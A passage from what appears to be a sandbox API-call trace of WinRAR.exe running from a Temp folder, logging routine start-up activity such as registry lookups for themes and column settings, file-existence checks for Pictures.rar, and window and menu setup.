uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0053.261] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\Crypt32.dll") returned 0x7fefdc00000 [0053.332] GetProcAddress (hModule=0x7fefdc00000, lpProcName="CryptProtectMemory") returned 0x7fefdc316f8 [0053.332] GetProcAddress (hModule=0x7fefdc00000, lpProcName="CryptUnprotectMemory") returned 0x7fefdc3171c [0053.333] CryptProtectMemory (in: pDataIn=0x13f2b9670, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x13f2b9670) returned 1 [0053.333] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ff1a0 | out: hHeap=0x1b0000) returned 1 [0053.333] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x16) returned 0x1d6870 [0053.333] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.333] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8) returned 0x1eb140 [0053.333] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x40) returned 0x26dcf0 [0053.333] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb140 | out: hHeap=0x1b0000) returned 1 [0053.333] GetFileAttributesW (lpFileName="Pictures" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures")) returned 0xffffffff [0053.333] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x188450 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures")) returned 0xffffffff [0053.333] GetFileAttributesW (lpFileName="Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar")) returned 0xffffffff [0053.333] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x188420 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar")) returned 0xffffffff [0053.333] GetFileAttributesW (lpFileName="Pictures.zip" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.zip")) returned 0xffffffff [0053.333] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x188420 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures.zip" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.zip")) returned 0xffffffff [0053.333] FindFirstFileW (in: lpFileName="Pictures.rar", lpFindFileData=0x18a500 | out: lpFindFileData=0x18a500) returned 0xffffffffffffffff [0053.334] GetLastError () returned 0x2 [0053.334] SetLastError (dwErrCode=0x2) [0053.334] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Compression", ulOptions=0x0, samDesired=0x9, phkResult=0x1876a0 | out: phkResult=0x1876a0*=0x0) returned 0x2 [0053.334] CreateFileW (lpFileName="Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.334] GetLastError () returned 0x2 [0053.334] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x17a4a0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.334] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.334] GetLastError () returned 0x2 [0053.335] GetFileAttributesW (lpFileName="Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar")) returned 0xffffffff [0053.335] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x180cc0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar")) returned 0xffffffff [0053.335] SendMessageW (hWnd=0x101f6, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0053.335] GetMenu (hWnd=0x101f6) returned 0x1013b [0053.335] GetSubMenu (hMenu=0x1013b, nPos=4) returned 0x10147 [0053.335] GetSubMenu (hMenu=0x10147, nPos=5) returned 0x1014f [0053.335] DeleteMenu (hMenu=0x1014f, uPosition=0x41a, uFlags=0x0) returned 0 [0053.362] CheckMenuItem (hMenu=0x1014f, uIDCheckItem=0xab, uCheck=0x0) returned 0x0 [0053.362] GetLastError () returned 0x2 [0053.362] SetLastError (dwErrCode=0x2) [0053.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", ulOptions=0x0, samDesired=0x9, phkResult=0x1857e0 | out: phkResult=0x1857e0*=0x184) returned 0x0 [0053.363] RegQueryValueExW (in: hKey=0x184, lpValueName="ActivePath", lpReserved=0x0, lpType=0x185c44, lpData=0x13f2d047e, lpcbData=0x185c40*=0x1000 | out: lpType=0x185c44*=0x0, lpData=0x13f2d047e*=0x0, lpcbData=0x185c40*=0x1000) returned 0x2 [0053.363] RegCloseKey (hKey=0x184) returned 0x0 [0053.363] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1864c0 | out: phkResult=0x1864c0*=0x0) returned 0x2 [0053.363] SHGetMalloc (in: ppMalloc=0x186460 | out: ppMalloc=0x186460*=0x7fefe535380) returned 0x0 [0053.363] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1864a8 | out: ppidl=0x1864a8) returned 0x0 [0053.363] SHGetPathFromIDListW (in: pidl=0x297b5b0, pszPath=0x187910 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0053.363] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0053.363] IMalloc:Free (This=0x7fefe535380, pv=0x297b5b0) [0053.363] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0053.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0053.363] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x187910, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0053.363] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x92) returned 0x1ed020 [0053.363] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x51d0) returned 0x26f130 [0053.363] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x183160 | out: lpFindFileData=0x183160) returned 0xffffffffffffffff [0053.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x183160 | out: lpFindFileData=0x183160) returned 0xffffffffffffffff [0053.363] GetLastError () returned 0x3 [0053.363] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1010) returned 0x274310 [0053.363] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x183160 | out: lpFindFileData=0x183160) returned 0xffffffffffffffff [0053.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x183160 | out: lpFindFileData=0x183160) returned 0xffffffffffffffff [0053.364] GetLastError () returned 0x3 [0053.364] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274310 | out: hHeap=0x1b0000) returned 1 [0053.364] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f130 | out: hHeap=0x1b0000) returned 1 [0053.364] DrawMenuBar (hWnd=0x101f6) returned 1 [0053.364] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x46, wParam=0x0, lParam=0x18ac70) returned 0x0 [0053.364] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x18ac40) returned 0x0 [0053.364] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x189340) returned 0x1 [0053.364] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x47, wParam=0x0, lParam=0x18ac70) returned 0x0 [0053.364] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x18a490) returned 0x1 [0053.365] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x83, wParam=0x1, lParam=0x18a5d0) returned 0x0 [0053.365] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x188cd0) returned 0x1 [0053.365] CheckMenuItem (hMenu=0x1014f, uIDCheckItem=0xab, uCheck=0x8) returned 0x0 [0053.365] GetLastError () returned 0x0 [0053.365] SetLastError (dwErrCode=0x0) [0053.365] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1857d8, lpdwDisposition=0x1857d0 | out: phkResult=0x1857d8*=0x184, lpdwDisposition=0x1857d0*=0x2) returned 0x0 [0053.365] RegSetValueExW (in: hKey=0x184, lpValueName="ShellExtBMP", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0053.365] RegCloseKey (hKey=0x184) returned 0x0 [0053.365] GetLastError () returned 0x0 [0053.365] SetLastError (dwErrCode=0x0) [0053.365] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1857d8, lpdwDisposition=0x1857d0 | out: phkResult=0x1857d8*=0x184, lpdwDisposition=0x1857d0*=0x2) returned 0x0 [0053.365] RegSetValueExW (in: hKey=0x184, lpValueName="ShellExtIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0053.365] RegCloseKey (hKey=0x184) returned 0x0 [0053.365] GetLastError () returned 0x0 [0053.365] SetLastError (dwErrCode=0x0) [0053.366] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18abd0 | out: phkResult=0x18abd0*=0x0) returned 0x2 [0053.366] GetClientRect (in: hWnd=0x101f6, lpRect=0x18b120 | out: lpRect=0x18b120) returned 1 [0053.366] CreateWindowExW (dwExStyle=0x300, lpClassName="SysListView32", lpWindowName="", dwStyle=0x44200249, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x101f6, hMenu=0xb, hInstance=0x13f160000, lpParam=0x0) returned 0x10208 [0053.367] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x55, wParam=0x10208, lParam=0x3) returned 0x2 [0053.367] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0053.626] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x210, wParam=0xb0001, lParam=0x10208) returned 0x0 [0053.626] GetLastError () returned 0x0 [0053.627] SetLastError (dwErrCode=0x0) [0053.627] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18abd0 | out: phkResult=0x18abd0*=0x0) returned 0x2 [0053.627] GetMenu (hWnd=0x101f6) returned 0x1013b [0053.627] GetSubMenu (hMenu=0x1013b, nPos=4) returned 0x10147 [0053.627] GetSubMenu (hMenu=0x10147, nPos=3) returned 0x1014b [0053.627] CheckMenuItem (hMenu=0x1014b, uIDCheckItem=0xa5, uCheck=0x0) returned 0x0 [0053.627] CheckMenuItem (hMenu=0x1014b, uIDCheckItem=0xa6, uCheck=0x8) returned 0x0 [0053.627] GetWindowLongPtrW (hWnd=0x10208, nIndex=-16) returned 0x44300249 [0053.627] GetLastError () returned 0x0 [0053.627] SetLastError (dwErrCode=0x0) [0053.627] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18abd0 | out: phkResult=0x18abd0*=0x0) returned 0x2 [0053.627] GetLastError () returned 0x0 [0053.627] SetLastError (dwErrCode=0x0) [0053.627] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18abd0 | out: phkResult=0x18abd0*=0x0) returned 0x2 [0053.627] GetLastError () returned 0x0 [0053.627] SetLastError (dwErrCode=0x0) [0053.627] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18abd0 | out: phkResult=0x18abd0*=0x0) returned 0x2 [0053.627] GetLastError () returned 0x0 [0053.627] SetLastError (dwErrCode=0x0) [0053.627] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18abd0 | out: phkResult=0x18abd0*=0x0) returned 0x2 [0053.627] SendMessageW (hWnd=0x10208, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0053.628] GetLastError () returned 0x0 [0053.628] SetLastError (dwErrCode=0x0) [0053.628] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18a340 | out: phkResult=0x18a340*=0x0) returned 0x2 [0053.628] SendMessageW (hWnd=0x10208, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0053.628] GetVersionExW (in: lpVersionInformation=0x18ae90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x70, szCSDVersion="") | out: lpVersionInformation=0x18ae90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x9, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x8, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x7, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x6, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x5, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x4, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x3, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x2, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x1, lParam=0x0) returned 0x0 [0053.628] SendMessageW (hWnd=0x10208, Msg=0x101c, wParam=0x0, lParam=0x0) returned 0x0 [0053.628] GetLastError () returned 0x0 [0053.628] SetLastError (dwErrCode=0x0) [0053.628] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.628] GetMenu (hWnd=0x101f6) returned 0x1013b [0053.629] CheckMenuItem (hMenu=0x1013b, uIDCheckItem=0xa4, uCheck=0x0) returned 0x0 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.629] GetLastError () returned 0x0 [0053.629] SetLastError (dwErrCode=0x0) [0053.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.630] LoadStringW (in: hInstance=0x13f160000, uID=0x6e, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="Name") returned 0x4 [0053.630] SendMessageW (hWnd=0x10208, Msg=0x1061, wParam=0x0, lParam=0x18aff0) returned 0x0 [0053.630] GetLastError () returned 0x0 [0053.630] SetLastError (dwErrCode=0x0) [0053.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.630] GetLastError () returned 0x0 [0053.630] SetLastError (dwErrCode=0x0) [0053.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.630] LoadStringW (in: hInstance=0x13f160000, uID=0x6f, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="Size") returned 0x4 [0053.630] SendMessageW (hWnd=0x10208, Msg=0x1061, wParam=0x1, lParam=0x18aff0) returned 0x1 [0053.630] GetLastError () returned 0x0 [0053.630] SetLastError (dwErrCode=0x0) [0053.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.630] GetLastError () returned 0x0 [0053.630] SetLastError (dwErrCode=0x0) [0053.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.630] LoadStringW (in: hInstance=0x13f160000, uID=0x70, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="Type") returned 0x4 [0053.630] SendMessageW (hWnd=0x10208, Msg=0x1061, wParam=0x2, lParam=0x18aff0) returned 0x2 [0053.630] GetLastError () returned 0x0 [0053.630] SetLastError (dwErrCode=0x0) [0053.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.630] GetLastError () returned 0x0 [0053.630] SetLastError (dwErrCode=0x0) [0053.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.631] LoadStringW (in: hInstance=0x13f160000, uID=0x72, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="Modified") returned 0x8 [0053.631] SendMessageW (hWnd=0x10208, Msg=0x1061, wParam=0x3, lParam=0x18aff0) returned 0x3 [0053.631] GetLastError () returned 0x0 [0053.631] SetLastError (dwErrCode=0x0) [0053.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.631] GetLastError () returned 0x0 [0053.631] SetLastError (dwErrCode=0x0) [0053.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.631] GetLastError () returned 0x0 [0053.631] SetLastError (dwErrCode=0x0) [0053.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.631] GetLastError () returned 0x0 [0053.631] SetLastError (dwErrCode=0x0) [0053.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x18ab50 | out: phkResult=0x18ab50*=0x0) returned 0x2 [0053.631] SendMessageW (hWnd=0x10208, Msg=0x101f, wParam=0x0, lParam=0x0) returned 0x1020a [0053.631] SendMessageW (hWnd=0x10208, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0053.631] GetClientRect (in: hWnd=0x101f6, lpRect=0x18b020 | out: lpRect=0x18b020) returned 1 [0053.631] GetWindowRect (in: hWnd=0x0, lpRect=0x18afc0 | out: lpRect=0x18afc0) returned 0 [0053.631] GetWindowRect (in: hWnd=0x0, lpRect=0x18afc0 | out: lpRect=0x18afc0) returned 0 [0053.631] MoveWindow (hWnd=0x10208, X=0, Y=0, nWidth=1064, nHeight=567, bRepaint=1) returned 1 [0053.632] ShowWindow (hWnd=0x10208, nCmdShow=5) returned 0 [0053.633] GetMenu (hWnd=0x101f6) returned 0x1013b [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x66, uEnable=0x1) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x78, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x83, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x80, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x7b, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x84, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x85, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x86, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0x87, uEnable=0x0) returned 0 [0053.633] EnableMenuItem (hMenu=0x1013b, uIDEnableItem=0xa4, uEnable=0x1) returned 0 [0053.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="rar", cchCount2=-1) returned 2 [0053.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="exe", cchCount2=-1) returned 3 [0053.634] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x183d80 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.634] GetLastError () returned 0x0 [0053.634] SetLastError (dwErrCode=0x0) [0053.634] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x9, phkResult=0x181ff0 | out: phkResult=0x181ff0*=0x0) returned 0x2 [0053.634] ExpandEnvironmentStringsW (in: lpSrc="", lpDst=0x182d30, nSize=0x800 | out: lpDst="") returned 0x1 [0053.634] GetFileAttributesW (lpFileName="Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar")) returned 0xffffffff [0053.634] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x183ce0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Pictures\\Pictures.rar" (normalized: "c:\\users\\whuoxysd\\pictures\\pictures.rar")) returned 0xffffffff [0053.634] AllocateAndInitializeSid (in: pIdentifierAuthority=0x185d50, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x185d48 | out: pSid=0x185d48*=0x2027f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0053.634] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2027f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x185d40 | out: IsMember=0x185d40) returned 1 [0053.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=1, lpString2="WinCon", cchCount2=6) returned 1 [0053.635] QueryPerformanceCounter (in: lpPerformanceCount=0x185ab0 | out: lpPerformanceCount=0x185ab0*=12897491989) returned 1 [0053.635] IsAppThemed () returned 0x1 [0053.635] IsThemeActive () returned 0x1 [0053.635] GetLastError () returned 0x0 [0053.635] SetLastError (dwErrCode=0x0) [0053.635] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x185630 | out: phkResult=0x185630*=0x18c) returned 0x0 [0053.635] RegQueryValueExW (in: hKey=0x18c, lpValueName="SystemProgressBar", lpReserved=0x0, lpType=0x185a94, lpData=0x185a90, lpcbData=0x185ac8*=0x4 | out: 